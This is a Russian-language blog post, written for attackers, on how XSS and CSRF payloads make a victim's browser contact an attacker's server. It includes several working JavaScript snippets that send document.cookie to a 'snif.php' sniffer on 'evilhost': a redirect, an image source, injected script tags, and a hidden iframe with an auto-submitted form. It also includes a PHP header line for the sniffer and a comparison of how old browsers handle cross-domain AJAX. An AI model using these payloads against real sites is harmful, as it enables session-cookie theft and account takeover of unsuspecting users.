Сегодня я хотел бы рассмотреть существующие методы для обращения клиента через браузер к стороннему серверу. Для чего это нужно злоумышленникам? Все очень просто: для реализации атак вида XSS (Cross Site Scripting) и CSRF (Cross Site Request Frogery). В большинстве случаев хакеру требуется сделать GET-запрос к своему серверу; как правило, это достигается путем использования двух основных приемов:
- перенаправление с помощью location.replace()
document.location.replace("http://evilhost/snif.php?c="+document.cookie);
- динамическое создание или вставка тэгов, имеющих аттрибуты src или background; при этом источником этих элементов является сервер злоумышленника. Это могут быть тэги img, iframe, frame, script, link, table и многие другие.
var img = new Image(); // создаем объект Image img.src = "http://ourhost/snif.php?c="+document.cookie; // устанавливаем свойство src
document.getElementsByTagName('body')[0].innerHTML += '<script id=sc></script>'; // выбираем тэг body и дописываем в него <script> document.getElementById('sc').src = 'http://evilhost/snif.php?c='+document.cookie; // находим наш script и устанавливаем свойство src
var sc=document.createElement('script'); // создаем элемент script sc.src='http://evilhost/snif.php?c='+document.cookie; // устанавливаем свойство src var body=document.getElementsByTagName('body')[0].appendChild(sc); // присоединяем наш элемент к body
Стоит отметить, что метод с перенаправлением, как правило, используется только при пассивных XSS, а остальные способы обычно находят применение при CSRF и активных XSS.
Вариантов осуществления POST-запросов гораздо меньше, а точнее всего один =) Делается это с помощью отправки данных с формы на наш сервер:
<iframe width=0 height=0 id=lol name=lol></iframe> // создаем невидимый iframe для того, чтобы отправка формы не вызывала перезагрузку страницы <form name=myform method=post target=lol> // создаем форму, в которой target - это наш iframe <input type=hidden name=c> // здесь любые данные, в данном случае cookie </form> <script> // теперь очередь js document.myform.action='http://evilhost/snif.php'; // устанваливаем action на наш сервер document.myform.c.value=document.cookie; // записываем в hidden-поле данные cookie пользователя document.myform.submit(); // отправляем форму </script>
А как же AJAX? Ведь для злоумышленника это поистине уникальное средство, позволяющее делать произвольные запросы, включая HEAD, TRACE, PUT, DELETE и другие. Но, к сожалению (или к счастью), воспользоваться данным средством в полной мере в настоящее время нельзя. Дело в том, что модель безопасности разных браузеров не является одинаковой, все они по-разному относятся к запросам, осуществляемых объектом XMLHTTPResponse. Методы, описанные выше, напротив, являются практически универсальными; они зависят лишь от частных случаев (блокировка iframe’ов firewall’ами, запрет загрузки картинок у конкретного пользователя и т.д.). Посмотрим как реагируют различные браузеры на удаленные запросы посредством AJAX.
- Internet Explorer 6
При попытке отправки запроса на удаленный сервер IE предупреждает пользователя, однако, если действие будет разрешено, запрос осуществится:
- FireFox 2
Модель защиты браузера FireFox основана на понятии привилегий. Чтобы выполнить действие, код приложения должен запросить соответствующие привилегии. Привилегиями управляет объект netscape.security.PrivilegeManager. Если мы хотим, чтобы клиентская программа Ajax взаимодействовала с удаленным сервером, нам надо сначала организовать обращение в PrivilegeManager. В противном случае возникает следующее сообщение:
- Opera
Модель безопасности Оперы для меня пока что загадка, однако очевидно лишь одно: удаленные запросы этот браузер запрещает:
Неужели с помощью AJAX невозможно обратиться к удаленному серверу? На самом деле можно, только одним аяксом здесь не обойтись. Для такой цели разработчики используют шлюзы (или гейты, если Вам так больше нравится), которые расположены в пределах того же домена, что и AJAX-приложения. При обращении к шлюзу тот отправляет запрос на удаленный сервер и возвращает результат браузеру клиента. Однако о таком способе в условиях XSS или CSRF нам приходится только мечтать.
Совсем недавно хорошие новости пришли от разработчиков FireFox 3: они собираются добавить в объект XMLHTTPResponse возможность междоменных вызовов! Единственное ограничение, которое будет накладываться на эти запросы, заключается в том, что сервер, к которому обращается клиент через браузер, должен их разрешать, указывая в ответе специальный заголовок:
Access-Control: allow <*>
В случае с XSS передать такой заголовок элементарно, просто добавляем в наш сниффер следующую строку кода:
<?php header('Access-Control: allow <*>'); ?>
Лично мне кажется, что в будущем для хакеров это откроет новые возможности в плане реализации не только XSS, но и CSRF; браузерные черви и трояны выйдут на качественно новый уровень.
Leave a Reply